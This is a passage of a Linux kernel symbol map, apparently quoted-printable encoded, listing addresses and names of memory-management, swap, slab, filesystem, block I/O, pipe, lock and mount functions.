101581ec T may_expand_vm=0A=
10158214 T arch_unmap_area=0A=
1015823c T arch_get_unmapped_area_topdown=0A=
10158438 T arch_unmap_area_topdown=0A=
10158458 T expand_stack=0A=
10158594 T find_extend_vma=0A=
10158634 t unmap_region=0A=
101587d8 T split_vma=0A=
101588fc T do_munmap=0A=
10158b60 T do_mmap_pgoff=0A=
1015927c T sys_munmap=0A=
101592e8 T do_brk=0A=
10159574 T sys_brk=0A=
101596b4 T exit_mmap=0A=
10159840 T insert_vm_struct=0A=
10159938 T copy_vma=0A=
10159ac8 T sys_mprotect=0A=
1015a140 t move_page_tables=0A=
1015a458 T do_mremap=0A=
1015a9b4 T sys_mremap=0A=
1015aa3c t msync_interval=0A=
1015adec T sys_msync=0A=
1015af58 T anon_vma_prepare=0A=
1015affc T __anon_vma_merge=0A=
1015b078 T __anon_vma_link=0A=
1015b09c T anon_vma_link=0A=
1015b0c0 T anon_vma_unlink=0A=
1015b12c t anon_vma_ctor=0A=
1015b154 t page_lock_anon_vma=0A=
1015b174 T page_address_in_vma=0A=
1015b234 T page_check_address=0A=
1015b298 t page_referenced_one=0A=
1015b42c t page_referenced_file=0A=
1015b53c T page_referenced=0A=
1015b6b4 t __page_set_anon_rmap=0A=
1015b730 T page_add_anon_rmap=0A=
1015b76c T page_add_new_anon_rmap=0A=
1015b790 T page_add_file_rmap=0A=
1015b828 T page_remove_rmap=0A=
1015b914 t try_to_unmap_one=0A=
1015bda0 T try_to_unmap=0A=
1015c47c T unmap_vm_area=0A=
1015c684 T map_vm_area=0A=
1015c8b8 T __get_vm_area_node=0A=
1015caa8 T __get_vm_area=0A=
1015cac8 T get_vm_area=0A=
1015caec T get_vm_area_node=0A=
1015cb14 T __remove_vm_area=0A=
1015cb88 T remove_vm_area=0A=
1015cba0 T __vunmap=0A=
1015ccd4 T vfree=0A=
1015cd30 T vunmap=0A=
1015cd8c T vmap=0A=
1015ce0c T __vmalloc_area_node=0A=
1015cfec T __vmalloc_node=0A=
1015d078 T __vmalloc_area=0A=
1015d094 T __vmalloc=0A=
1015d0b0 T vmalloc=0A=
1015d0d0 T vmalloc_node=0A=
1015d0f4 T vmalloc_exec=0A=
1015d114 T vmalloc_32=0A=
1015d134 T vread=0A=
1015d1dc T vwrite=0A=
1015d27c t get_swap_bio=0A=
1015d328 t end_swap_bio_write=0A=
1015d388 t end_swap_bio_read=0A=
1015d414 T swap_writepage=0A=
1015d4ec T swap_readpage=0A=
1015d5c4 T show_swap_cache_info=0A=
1015d640 t __add_to_swap_cache=0A=
1015d768 T __delete_from_swap_cache=0A=
1015d840 T add_to_swap=0A=
1015d974 T delete_from_swap_cache=0A=
1015d9b8 T move_to_swap_cache=0A=
1015dab0 T move_from_swap_cache=0A=
1015db24 T free_page_and_swap_cache=0A=
1015db88 T free_pages_and_swap_cache=0A=
1015dc6c T lookup_swap_cache=0A=
1015dcb8 T read_swap_cache_async=0A=
1015de1c T swap_unplug_io_fn=0A=
1015defc T get_swap_page=0A=
1015e198 T get_swap_page_of_type=0A=
1015e3a8 t swap_info_get=0A=
1015e470 t swap_entry_free=0A=
1015e520 T swap_free=0A=
1015e550 T can_share_swap_page=0A=
1015e5f4 T remove_exclusive_swap_page=0A=
1015e738 T free_swap_and_cache=0A=
1015e864 t unuse_mm=0A=
1015ec2c T swap_duplicate=0A=
1015ed30 T map_swap_page=0A=
1015edc8 t destroy_swap_extents=0A=
1015ee40 t add_swap_extent=0A=
1015ef38 T sys_swapoff=0A=
1015f90c t swap_start=0A=
1015f9d0 t swap_next=0A=
1015fa38 t swap_stop=0A=
1015fa84 t swap_show=0A=
1015fb64 t swaps_open=0A=
1015fb88 T sys_swapon=0A=
10160558 T si_swapinfo=0A=
101605d4 T get_swap_info_struct=0A=
101605ec T valid_swaphandles=0A=
10160684 T __put_swap_token=0A=
101606c4 T grab_swap_token=0A=
10160820 t shmem_dir_map=0A=
10160840 t shmem_swp_map=0A=
10160860 t shmem_free_blocks=0A=
10160890 t shmem_recalc_inode=0A=
1016090c t shmem_swp_entry=0A=
101609fc t shmem_swp_set=0A=
10160a54 t shmem_swp_alloc=0A=
10160cf4 t shmem_free_swp=0A=
10160d54 t shmem_truncate_range=0A=
1016132c t shmem_truncate=0A=
10161360 t shmem_delete_inode=0A=
101614a8 T shmem_unuse=0A=
10161738 t shmem_writepage=0A=
1016188c t shmem_getpage=0A=
10161e40 t shmem_notify_change=0A=
10161f3c T shmem_nopage=0A=
10161ff0 t shmem_populate=0A=
101621b8 T shmem_lock=0A=
10162250 T shmem_mmap=0A=
101622a8 t shmem_get_inode=0A=
1016246c t shmem_prepare_write=0A=
101624a4 t shmem_file_write=0A=
10162724 t do_shmem_file_read=0A=
101629bc t shmem_file_read=0A=
10162a24 t shmem_file_sendfile=0A=
10162a78 t shmem_statfs=0A=
10162acc t shmem_mknod=0A=
10162bf0 t shmem_mkdir=0A=
10162c2c t shmem_create=0A=
10162c4c t shmem_link=0A=
10162d64 t shmem_unlink=0A=
10162e1c t shmem_rmdir=0A=
10162e74 t shmem_rename=0A=
10162f98 t shmem_symlink=0A=
101631a4 t shmem_follow_link_inline=0A=
101631c0 t shmem_follow_link=0A=
10163250 t shmem_put_link=0A=
101632a0 t shmem_parse_options=0A=
10163668 t shmem_remount_fs=0A=
10163778 t shmem_put_super=0A=
1016379c t shmem_fill_super=0A=
10163964 t shmem_alloc_inode=0A=
10163998 t shmem_destroy_inode=0A=
101639bc t init_once=0A=
101639f0 t shmem_get_sb=0A=
10163a14 T shmem_file_setup=0A=
10163c4c T shmem_zero_setup=0A=
10163cd0 T kmem_find_general_cachep=0A=
10163cf8 t cache_estimate=0A=
10163dbc t start_cpu_timer=0A=
10163e54 t kmem_freepages=0A=
10163f94 t smp_call_function_all_cpus=0A=
10163fc0 T __kmalloc=0A=
10164054 T kmem_cache_alloc=0A=
101640b4 t alloc_arraycache=0A=
10164104 t cpuup_callback=0A=
10164458 t init_list=0A=
10164578 t cache_alloc_refill=0A=
10164a84 T kfree=0A=
10164b20 T kmem_cache_free=0A=
10164ba4 t slab_destroy=0A=
10164c9c t free_block=0A=
10164e08 t drain_array_locked=0A=
10164ed0 t cache_flusharray=0A=
10164fd0 t do_drain=0A=
10164ffc t __cache_shrink=0A=
10165128 T kmem_cache_shrink=0A=
10165184 t kmem_rcu_free=0A=
101651d4 T kmem_cache_destroy=0A=
101653f4 T kmem_ptr_validate=0A=
10165450 T kmem_cache_size=0A=
10165458 T kmem_cache_name=0A=
10165460 t do_ccupdate_local=0A=
10165478 t do_tune_cpucache=0A=
10165770 t enable_cpucache=0A=
10165810 T kmem_cache_create=0A=
10165ef0 t cache_reap=0A=
10166128 t s_start=0A=
10166250 t s_next=0A=
10166288 t s_stop=0A=
101662d4 t s_show=0A=
10166580 T slabinfo_write=0A=
1016671c T ksize=0A=
1016674c T vfs_statfs=0A=
101667cc t vfs_statfs_native=0A=
1016681c t vfs_statfs64=0A=
10166904 T sys_statfs=0A=
101669a8 T sys_statfs64=0A=
10166a50 T sys_fstatfs=0A=
10166acc T sys_fstatfs64=0A=
10166b6c T do_truncate=0A=
10166bec t do_sys_truncate=0A=
10166dd0 T sys_truncate=0A=
10166df0 t do_sys_ftruncate=0A=
10166f80 T sys_ftruncate=0A=
10166fa8 T sys_truncate64=0A=
10166fc0 T sys_ftruncate64=0A=
10166fdc T sys_utime=0A=
1016712c T do_utimes=0A=
10167254 T sys_utimes=0A=
101672b4 T sys_access=0A=
10167450 T sys_chdir=0A=
101674b4 T sys_fchdir=0A=
1016754c T sys_chroot=0A=
101675cc T sys_fchmod=0A=
101676a8 T sys_chmod=0A=
10167778 t chown_common=0A=
10167860 T sys_chown=0A=
101678e0 T sys_lchown=0A=
10167960 T sys_fchown=0A=
101679c0 t __dentry_open=0A=
10167c48 T nameidata_to_filp=0A=
10167ca4 T filp_open=0A=
10167cfc T lookup_instantiate_filp=0A=
10167de0 T dentry_open=0A=
10167e5c T get_unused_fd=0A=
10168034 t __put_unused_fd=0A=
1016806c T put_unused_fd=0A=
10168094 T fd_install=0A=
10168100 T do_sys_open=0A=
10168230 T sys_open=0A=
10168248 T sys_creat=0A=
10168268 T filp_close=0A=
10168304 T sys_close=0A=
101683a4 T sys_vhangup=0A=
101683e4 T generic_file_open=0A=
1016840c T nonseekable_open=0A=
10168420 T generic_file_llseek=0A=
10168530 T remote_llseek=0A=
101685dc T no_llseek=0A=
101685e8 T default_llseek=0A=
1016866c T vfs_llseek=0A=
101686c0 T sys_lseek=0A=
1016876c T sys_llseek=0A=
10168848 T rw_verify_area=0A=
10168910 t wait_on_retry_sync_kiocb=0A=
10168980 T do_sync_read=0A=
10168ad8 T vfs_read=0A=
10168c48 T do_sync_write=0A=
10168da0 T vfs_write=0A=
10168f10 T sys_read=0A=
10168fb4 T sys_write=0A=
10169058 T sys_pread64=0A=
101690f8 T sys_pwrite64=0A=
10169198 T iov_shorten=0A=
101691d4 t do_readv_writev=0A=
1016944c T vfs_readv=0A=
101694c0 T vfs_writev=0A=
10169534 T sys_readv=0A=
10169620 T sys_writev=0A=
1016970c t do_sendfile=0A=
101699f8 T sys_sendfile=0A=
10169aec T sys_sendfile64=0A=
10169bf8 T filp_ctor=0A=
10169c24 T filp_dtor=0A=
10169c40 t file_free_rcu=0A=
10169c64 T get_empty_filp=0A=
10169d68 T file_kill=0A=
10169d88 T __fput=0A=
10169f30 T fput=0A=
10169f6c T fget=0A=
10169fe4 T fget_light=0A=
1016a0a4 T put_filp=0A=
1016a0fc T file_move=0A=
1016a128 T fs_may_remount_ro=0A=
1016a198 T __brelse=0A=
1016a210 T __bforget=0A=
1016a25c T __wait_on_buffer=0A=
1016a298 T __lock_buffer=0A=
1016a2f0 T init_buffer=0A=
1016a2fc t sync_buffer=0A=
1016a354 T unlock_buffer=0A=
1016a384 t buffer_io_error=0A=
1016a3c8 T end_buffer_read_sync=0A=
1016a458 T end_buffer_write_sync=0A=
1016a548 T sync_blockdev=0A=
1016a570 T fsync_super=0A=
1016a644 T fsync_bdev=0A=
1016a69c T freeze_bdev=0A=
1016a810 T thaw_bdev=0A=
1016a8dc t do_sync=0A=
1016a954 T sys_sync=0A=
1016a974 T emergency_sync=0A=
1016a998 T file_fsync=0A=
1016aa50 t do_fsync=0A=
1016ab30 T sys_fsync=0A=
1016ab4c T sys_fdatasync=0A=
1016ab68 t __find_get_block_slow=0A=
1016ac8c t free_more_memory=0A=
1016ace8 t end_buffer_async_read=0A=
1016ae8c T end_buffer_async_write=0A=
1016b02c T mark_buffer_async_write=0A=
1016b050 T inode_has_buffers=0A=
1016b064 T __set_page_dirty_buffers=0A=
1016b140 T invalidate_inode_buffers=0A=
1016b198 T remove_inode_buffers=0A=
1016b224 T set_bh_page=0A=
1016b298 t init_page_buffers=0A=
1016b344 T mark_buffer_dirty=0A=
1016b398 T mark_buffer_dirty_inode=0A=
1016b454 T __find_get_block=0A=
1016b648 T invalidate_bdev=0A=
1016b6a4 T do_invalidatepage=0A=
1016b6ec T unmap_underlying_metadata=0A=
1016b77c t __block_commit_write=0A=
1016b8b8 t __generic_cont_expand=0A=
1016ba38 T generic_cont_expand=0A=
1016ba80 T generic_cont_expand_simple=0A=
1016bab4 T generic_commit_write=0A=
1016bb50 T block_commit_write=0A=
1016bb88 t end_buffer_read_nobh=0A=
1016bbd8 T nobh_commit_write=0A=
1016bc74 T nobh_truncate_page=0A=
1016bd70 T generic_block_bmap=0A=
1016bda8 t end_bio_bh_io_sync=0A=
1016be44 T submit_bh=0A=
1016bfd8 T ll_rw_block=0A=
1016c174 T write_boundary_block=0A=
1016c1d0 T sync_mapping_buffers=0A=
1016c43c T sync_dirty_buffer=0A=
1016c5bc t drop_buffers=0A=
1016c6c4 T block_sync_page=0A=
1016c724 T sys_bdflush=0A=
1016c7a0 t recalc_bh_state=0A=
1016c7e4 T alloc_buffer_head=0A=
1016c82c T free_buffer_head=0A=
1016c8a0 T try_to_free_buffers=0A=
1016c968 T try_to_release_page=0A=
1016c9ec T block_invalidatepage=0A=
1016cb6c T nobh_prepare_write=0A=
1016cfa8 T alloc_page_buffers=0A=
1016d080 T create_empty_buffers=0A=
1016d178 t __block_write_full_page=0A=
1016d5d8 T block_write_full_page=0A=
1016d6e4 T nobh_writepage=0A=
1016d7f0 T block_truncate_page=0A=
1016da3c t __block_prepare_write=0A=
1016df10 T block_prepare_write=0A=
1016df60 T cont_prepare_write=0A=
1016e250 T block_read_full_page=0A=
1016e5c0 T __getblk=0A=
1016e814 T __bread=0A=
1016e900 T __breadahead=0A=
1016e944 t init_buffer_head=0A=
1016e98c T bio_free=0A=
1016ea04 t bio_fs_destructor=0A=
1016ea24 T bio_init=0A=
1016ea70 T bio_alloc_bioset=0A=
1016ebe0 T bio_alloc=0A=
1016ec10 T zero_fill_bio=0A=
1016ecb4 T bio_put=0A=
1016ed38 T bio_phys_segments=0A=
1016ed74 T bio_hw_segments=0A=
1016edb0 T __bio_clone=0A=
1016ee84 T bio_clone=0A=
1016eed8 T bio_get_nr_vecs=0A=
1016ef0c t __bio_add_page=0A=
1016f174 T bio_add_pc_page=0A=
1016f194 T bio_add_page=0A=
1016f1e0 t bio_free_map_data=0A=
1016f208 T bio_uncopy_user=0A=
1016f350 T bio_copy_user=0A=
1016f650 T bio_endio=0A=
1016f6f0 T bio_unmap_user=0A=
1016f770 T bio_map_user_iov=0A=
1016fab8 T bio_map_user=0A=
1016fae8 t bio_map_kern_endio=0A=
1016fb20 T bio_map_kern=0A=
1016fc98 T bio_set_pages_dirty=0A=
1016fd2c t bio_dirty_fn=0A=
1016fdd0 T bio_check_pages_dirty=0A=
1016fee8 T bio_pair_release=0A=
1016ff44 t bio_pair_end_1=0A=
1016ff88 t bio_pair_end_2=0A=
1016ffd0 T bio_split=0A=
1017014c t bio_pair_alloc=0A=
10170194 t bio_pair_free=0A=
101701ac T bioset_free=0A=
10170214 T bioset_create=0A=
1017034c T __put_super=0A=
1017038c T __put_super_and_need_restart=0A=
10170404 t put_super=0A=
1017041c T deactivate_super=0A=
1017049c T generic_shutdown_super=0A=
101705f8 T sget=0A=
101709ac T drop_super=0A=
101709d4 T sync_supers=0A=
10170b0c T sync_filesystems=0A=
10170cd0 T get_super=0A=
10170da0 T user_get_super=0A=
10170e70 T sys_ustat=0A=
10170f28 T do_remount_sb=0A=
101710d8 t do_emergency_remount=0A=
101711a8 T emergency_remount=0A=
101711cc T set_anon_super=0A=
1017128c T kill_anon_super=0A=
101712bc T kill_litter_super=0A=
101712f0 t set_bdev_super=0A=
10171304 t test_bdev_super=0A=
10171314 T get_sb_bdev=0A=
101714b0 T kill_block_super=0A=
101714dc T get_sb_nodev=0A=
101715a8 t compare_single=0A=
101715b0 T get_sb_single=0A=
10171694 T do_kern_mount=0A=
101717e8 T kern_mount=0A=
10171810 t generic_writepages=0A=
1017182c T I_BDEV=0A=
10171834 t max_block=0A=
10171888 t kill_bdev=0A=
101718bc T set_blocksize=0A=
10171978 T sb_set_blocksize=0A=
101719d8 T sb_min_blocksize=0A=
10171a18 t blkdev_get_block=0A=
10171a94 t blkdev_get_blocks=0A=
10171b60 t blkdev_direct_IO=0A=
10171bc0 t blkdev_writepage=0A=
10171be4 t blkdev_readpage=0A=
10171c08 t blkdev_prepare_write=0A=
10171c34 t blkdev_commit_write=0A=
10171c58 t block_llseek=0A=
10171d50 t block_fsync=0A=
10171d74 t bdev_alloc_inode=0A=
10171da8 t bdev_destroy_inode=0A=
10171dd0 t init_once=0A=
10171ed0 t init_once=0A=
10171f00 t init_once=0A=
10171f30 t init_once=0A=
10171f64 t init_once=0A=
10171fb0 t init_once=0A=
10172048 t init_once=0A=
1017207c t bdev_clear_inode=0A=
101720d8 t bd_get_sb=0A=
10172108 t bdev_test=0A=
1017211c t bdev_set=0A=
1017212c T bdget=0A=
10172230 T nr_blockdev_pages=0A=
10172274 T bdput=0A=
10172290 t bd_acquire=0A=
1017232c T bd_forget=0A=
10172360 T bd_claim=0A=
101723d0 T bd_release=0A=
10172400 T check_disk_change=0A=
101724b0 T bd_set_size=0A=
10172530 T blkdev_put=0A=
1017274c t do_open=0A=
10172b8c T blkdev_get=0A=
10172c1c T open_by_devnum=0A=
10172c64 t blkdev_open=0A=
10172d00 t blkdev_close=0A=
10172d48 t blkdev_file_write=0A=
10172d70 t blkdev_file_aio_write=0A=
10172d9c t block_ioctl=0A=
10172dd0 T ioctl_by_bdev=0A=
10172e10 T lookup_bdev=0A=
10172ed8 T open_bdev_excl=0A=
10172f88 T close_bdev_excl=0A=
10172fac T get_next_chrdev=0A=
10173068 T acquire_chrdev_list=0A=
101730c0 T release_chrdev_list=0A=
10173128 T count_chrdev_list=0A=
10173160 T get_chrdev_info=0A=
10173188 t __register_chrdev_region=0A=
101733a0 t __unregister_chrdev_region=0A=
101734fc T register_chrdev_region=0A=
10173624 T alloc_chrdev_region=0A=
10173670 T unregister_chrdev_region=0A=
101736cc t cdev_get=0A=
10173764 T cdev_put=0A=
101737c0 T chrdev_open=0A=
10173930 T cd_forget=0A=
10173954 t cdev_purge=0A=
10173984 t exact_match=0A=
1017398c t exact_lock=0A=
101739b0 T cdev_add=0A=
101739f8 T cdev_del=0A=
10173a2c T unregister_chrdev=0A=
10173a6c t cdev_default_release=0A=
10173a84 t cdev_dynamic_release=0A=
10173aa8 T cdev_alloc=0A=
10173b04 T register_chrdev=0A=
10173c34 T cdev_init=0A=
10173c88 t base_probe=0A=
10173ccc T generic_fillattr=0A=
10173d5c T vfs_getattr=0A=
10173e08 T vfs_stat=0A=
10173e78 T vfs_lstat=0A=
10173ee8 T vfs_fstat=0A=
10173f3c t cp_new_stat=0A=
101740a4 T sys_newstat=0A=
101740ec T sys_newlstat=0A=
10174134 T sys_newfstat=0A=
1017417c T sys_readlink=0A=
10174220 t cp_new_stat64=0A=
1017436c T sys_stat64=0A=
101743b4 T sys_lstat64=0A=
101743fc T sys_fstat64=0A=
10174444 T inode_add_bytes=0A=
1017448c T inode_sub_bytes=0A=
10174508 T inode_get_bytes=0A=
1017452c T inode_set_bytes=0A=
10174540 T register_binfmt=0A=
10174598 T unregister_binfmt=0A=
101745d4 T sys_uselib=0A=
10174744 t count=0A=
10174810 t copy_strings=0A=
10174a70 T copy_strings_kernel=0A=
10174aa0 T install_arg_page=0A=
10174c00 T setup_arg_pages=0A=
10174f28 T open_exec=0A=
1017502c T kernel_read=0A=
10175080 T get_task_comm=0A=
101750a0 T set_task_comm=0A=
101750c0 T flush_old_exec=0A=
101759c0 T prepare_binprm=0A=
10175ad8 T compute_creds=0A=
10175b5c T remove_arg_zero=0A=
10175bd4 T search_binary_handler=0A=
10175e68 T do_execve=0A=
101760a4 T set_binfmt=0A=
10176144 T do_coredump=0A=
1017681c T pipe_wait=0A=
101768dc t pipe_iov_copy_from_user=0A=
1017698c t anon_pipe_buf_release=0A=
101769c8 t anon_pipe_buf_map=0A=
101769ec t anon_pipe_buf_unmap=0A=
101769f0 t pipe_readv=0A=
10176d60 t pipe_read=0A=
10176d88 t pipe_writev=0A=
10177184 t pipe_write=0A=
101771ac t bad_pipe_r=0A=
101771b4 t bad_pipe_w=0A=
101771bc t pipe_ioctl=0A=
10177280 t pipe_poll=0A=
10177358 T free_pipe_info=0A=
101773c8 t pipe_release=0A=
101774c8 t pipe_read_fasync=0A=
10177548 t pipe_write_fasync=0A=
101775c8 t pipe_rdwr_fasync=0A=
1017766c t pipe_read_release=0A=
101776a0 t pipe_write_release=0A=
101776d4 t pipe_rdwr_release=0A=
10177718 t pipe_read_open=0A=
10177760 t pipe_write_open=0A=
101777a8 t pipe_rdwr_open=0A=
10177820 T pipe_new=0A=
10177894 t pipefs_delete_dentry=0A=
1017789c T do_pipe=0A=
10177bc4 t pipefs_get_sb=0A=
10177bf0 T getname=0A=
10177cec T generic_permission=0A=
10177e40 T permission=0A=
10177ee0 T vfs_permission=0A=
10177f04 T file_permission=0A=
10177f28 T get_write_access=0A=
10177f54 T deny_write_access=0A=
10177f88 T path_release=0A=
10177fc0 T path_release_on_umount=0A=
10177fe8 T release_open_intent=0A=
10178020 T follow_up=0A=
10178100 t __follow_mount=0A=
101781d4 t follow_mount=0A=
101782b8 T follow_down=0A=
10178378 t do_lookup=0A=
1017850c T path_walk=0A=
10178530 t __emul_lookup_dentry=0A=
101786e4 t __link_path_walk=0A=
10179590 T link_path_walk=0A=
1017970c T path_lookup=0A=
10179904 T set_fs_altroot=0A=
10179988 t __path_lookup_intent_open=0A=
10179a3c T path_lookup_open=0A=
10179a58 T __user_path_lookup_open=0A=
10179af4 t __lookup_hash=0A=
10179c30 T lookup_hash=0A=
10179c54 T lookup_one_len=0A=
10179cd8 T __user_walk=0A=
10179d60 t may_delete=0A=
10179ed4 T lock_rename=0A=
10179fd8 T unlock_rename=0A=
1017a050 T vfs_create=0A=
1017a140 T may_open=0A=
1017a344 T open_namei=0A=
1017a9b8 T lookup_create=0A=
1017aa6c T vfs_mknod=0A=
1017ab94 T sys_mknod=0A=
1017ada8 T vfs_mkdir=0A=
1017aeac T sys_mkdir=0A=
1017afc8 T dentry_unhash=0A=
1017b090 T vfs_rmdir=0A=
1017b16c T sys_rmdir=0A=
1017b2a8 T vfs_unlink=0A=
1017b370 T sys_unlink=0A=
1017b4fc T vfs_symlink=0A=
1017b5fc T sys_symlink=0A=
1017b744 T vfs_link=0A=
1017b8a0 T sys_link=0A=
1017b9f4 T vfs_rename=0A=
1017bd7c T sys_rename=0A=
1017bfdc T vfs_readlink=0A=
1017c058 T generic_readlink=0A=
1017c134 T vfs_follow_link=0A=
1017c38c t page_getlink=0A=
1017c43c T page_readlink=0A=
1017c4b0 T page_follow_link_light=0A=
1017c4ec T page_put_link=0A=
1017c514 T page_symlink=0A=
1017c694 T set_close_on_exec=0A=
1017c6f8 t dupfd=0A=
1017c934 T sys_dup2=0A=
1017ca80 T sys_dup=0A=
1017cab4 t f_modown=0A=
1017cadc T f_setown=0A=
1017cb18 T f_delown=0A=
1017cb44 t do_fcntl=0A=
1017ce40 T sys_fcntl=0A=
1017cea8 T sys_fcntl64=0A=
1017cf54 t send_sigio_to_task=0A=
1017d05c T send_sigio=0A=
1017d11c t send_sigurg_to_task=0A=
1017d170 T send_sigurg=0A=
1017d224 T fasync_helper=0A=
1017d318 T __kill_fasync=0A=
1017d3c4 T kill_fasync=0A=
1017d3f0 t do_ioctl=0A=
1017d464 T vfs_ioctl=0A=
1017d7b4 T sys_ioctl=0A=
1017d840 T vfs_readdir=0A=
1017d900 t fillonedir=0A=
1017da0c T old_readdir=0A=
1017da78 t filldir=0A=
1017dbf0 T sys_getdents=0A=
1017dcac t filldir64=0A=
1017de8c T sys_getdents64=0A=
1017df5c T poll_initwait=0A=
1017df74 T poll_freewait=0A=
1017dfe4 t __pollwait=0A=
1017e144 T do_select=0A=
1017e588 T sys_select=0A=
1017e95c T sys_poll=0A=
1017ecf0 t wait_for_partner=0A=
1017ed58 t wake_up_partner=0A=
1017ed80 t fifo_open=0A=
1017f044 T locks_mandatory_locked=0A=
1017f08c t locks_alloc_lock=0A=
1017f0b0 t locks_free_lock=0A=
1017f188 T locks_init_lock=0A=
1017f1f4 T locks_copy_lock=0A=
1017f2a8 t assign_type=0A=
1017f2c0 t flock_to_posix_lock=0A=
1017f418 t flock64_to_posix_lock=0A=
1017f584 t lease_break_callback=0A=
1017f5ac t lease_release_private_callback=0A=
1017f5e0 t lease_mylease_callback=0A=
1017f5f4 t lease_init=0A=
1017f694 t lease_alloc=0A=
1017f70c t posix_same_owner=0A=
1017f77c t __locks_delete_block=0A=
1017f7bc t locks_delete_block=0A=
1017f7d4 t locks_insert_block=0A=
1017f888 t locks_wake_up_blocks=0A=
1017f910 t locks_insert_lock=0A=
1017f96c t locks_delete_lock=0A=
1017fa04 t locks_conflict=0A=
1017fa20 t posix_locks_conflict=0A=
1017fadc T posix_test_lock=0A=
1017fb40 T posix_locks_deadlock=0A=
1017fbf0 t __posix_lock_file=0A=
10180048 T posix_lock_file=0A=
10180068 T locks_mandatory_area=0A=
10180270 T posix_lock_file_wait=0A=
101803c0 T lease_modify=0A=
10180430 t time_out_leases=0A=
10180504 T __break_lease=0A=
1018087c T lease_get_mtime=0A=
101808f4 T fcntl_getlease=0A=
10180984 t __setlease=0A=
10180ba8 T setlease=0A=
10180c50 T fcntl_setlease=0A=
10180d9c T flock_lock_file_wait=0A=
10181024 T sys_flock=0A=
10181190 T fcntl_getlk=0A=
1018134c T fcntl_setlk=0A=
10181634 T fcntl_getlk64=0A=
101817b4 T fcntl_setlk64=0A=
10181a9c T locks_remove_posix=0A=
10181b9c T locks_remove_flock=0A=
10181d24 T posix_block_lock=0A=
10181d3c T posix_unblock_lock=0A=
10181d80 t lock_get_status=0A=
10182064 t move_lock_status=0A=
101820fc T get_locks_status=0A=
10182268 T lock_may_read=0A=
10182338 T lock_may_write=0A=
101823f8 T steal_locks=0A=
101824a8 T d_instantiate=0A=
10182518 t d_callback=0A=
10182558 t d_free=0A=
1018259c t dentry_iput=0A=
1018264c T dput=0A=
10182810 T dget_locked=0A=
10182868 T d_instantiate_unique=0A=
101829c8 t __d_find_alias=0A=
10182af8 T d_find_alias=0A=
10182b14 T d_prune_aliases=0A=
10182c04 t prune_dcache=0A=
10182d98 T shrink_dcache_sb=0A=
10182f3c T have_submounts=0A=
10182fa0 T shrink_dcache_parent=0A=
101830b8 T d_invalidate=0A=
10183154 T shrink_dcache_anon=0A=
10183228 t shrink_dcache_memory=0A=
1018327c T d_alloc=0A=
10183448 T d_alloc_name=0A=
101834c0 T d_alloc_root=0A=
10183514 T d_alloc_anon=0A=
10183608 T __d_lookup=0A=
10183770 T d_lookup=0A=
101837dc T d_validate=0A=
101838f0 T d_delete=0A=
101839d4 t __d_rehash=0A=
10183a00 T d_rehash=0A=
10183a64 T d_move=0A=
10183d0c T d_splice_alias=0A=
10183e00 t __d_path=0A=
10183f98 T d_path=0A=
10184088 T sys_getcwd=0A=
101842a8 T is_subdir=0A=
10184304 T d_genocide=0A=
1018439c T find_inode_number=0A=
1018445c t alloc_inode=0A=
101845a8 T destroy_inode=0A=
1018462c T inode_init_once=0A=
10184700 T __iget=0A=
10184790 T clear_inode=0A=
10184868 T new_inode=0A=
10184904 T __insert_inode_hash=0A=
1018497c T igrab=0A=
101849c4 T remove_inode_hash=0A=
101849e8 T iput=0A=
10184aa0 T bmap=0A=
10184ad4 T touch_atime=0A=
10184ba0 T file_update_time=0A=
10184c8c T inode_needs_sync=0A=
10184ce4 T inode_wait=0A=
10184d00 t __wait_on_freeing_inode=0A=
10184dc8 t find_inode_fast=0A=
10184e6c t ifind_fast=0A=
10184ec4 T ilookup=0A=
10184f3c T iget_locked=0A=
101850d8 T iunique=0A=
101851c4 t find_inode=0A=
10185298 t ifind=0A=
101852f8 T ilookup5=0A=
10185374 T ilookup5_nowait=0A=
101853ec T iget5_locked=0A=
101855c4 T wake_up_inode=0A=
101855e4 t dispose_list=0A=
101856f0 t shrink_icache_memory=0A=
1018598c T invalidate_inodes=0A=
10185b44 T __invalidate_device=0A=
10185ba8 T generic_delete_inode=0A=
10185cd0 T generic_drop_inode=0A=
10185e70 T unlock_new_inode=0A=
10185e98 T init_special_inode=0A=
10185f3c T inode_change_ok=0A=
101860bc T inode_setattr=0A=
10186228 T notify_change=0A=
101864dc t return_EIO=0A=
101864e4 T make_bad_inode=0A=
10186540 T is_bad_inode=0A=
10186558 T alloc_fd_array=0A=
1018659c T free_fd_array=0A=
101865f0 T free_fdset=0A=
1018663c t __free_fdtable=0A=
10186680 t fdtable_timer=0A=
101866c4 t free_fdtable_work=0A=
1018671c t free_fdtable_rcu=0A=
10186840 T free_fdtable=0A=
10186898 T alloc_fdset=0A=
101868e8 T expand_files=0A=
10186bf4 T get_filesystem=0A=
10186c68 T put_filesystem=0A=
10186cb8 t find_filesystem=0A=
10186d28 T register_filesystem=0A=
10186d8c T unregister_filesystem=0A=
10186dc8 T sys_sysfs=0A=
10186f70 T get_filesystem_list=0A=
10187028 T get_fs_type=0A=
1018710c T alloc_vfsmnt=0A=
10187208 T free_vfsmnt=0A=
10187238 T __lookup_mnt=0A=
101872ac T lookup_mnt=0A=
101872e8 t touch_namespace=0A=
10187330 t detach_mnt=0A=
10187394 T mnt_set_mountpoint=0A=
1018742c t attach_mnt=0A=
101874d4 t commit_tree=0A=
10187618 t next_mnt=0A=
10187650 t clone_mnt=0A=
101877e4 T mntput_no_expire=0A=
10187880 T mnt_pin=0A=
10187890 T mnt_unpin=0A=
101878c0 t m_start=0A=
10187958 t m_start=0A=
10187ab8 t m_next=0A=
10187aec t m_next=0A=
10187b9c t m_stop=0A=
10187bbc t m_stop=0A=
10187c00 t show_vfsmnt=0A=
10187d88 T may_umount_tree=0A=
10187de4 T may_umount=0A=
10187e08 T release_mounts=0A=
10187e98 T umount_tree=0A=
1018800c T __put_namespace=0A=
10188090 T sys_umount=0A=
10188284 T sys_oldumount=0A=
101882a0 T copy_tree=0A=
101884b8 t attach_recursive_mnt=0A=
10188604 t graft_tree=0A=
101886e0 T do_add_mount=0A=
10188830 T mark_mounts_for_expiry=0A=
10188a68 T copy_mount_options=0A=
10188b8c T do_mount=0A=
101891d4 T copy_namespace=0A=
101894e8 T sys_mount=0A=
101895f0 T set_fs_root=0A=
101896ac T set_fs_pwd=0A=
10189768 T sys_pivot_root=0A=
10189b78 t aio_free_ring=0A=
10189c24 t aio_cancel_all=0A=
10189cd0 t wait_for_all_aios=0A=
10189da8 T wait_on_sync_kiocb=0A=
10189e0c T __put_ioctx=0A=
10189f44 T exit_aio=0A=
1018a020 t __aio_get_req=0A=
1018a184 t aio_fput_routine=0A=
1018a2f4 t __aio_put_req=0A=
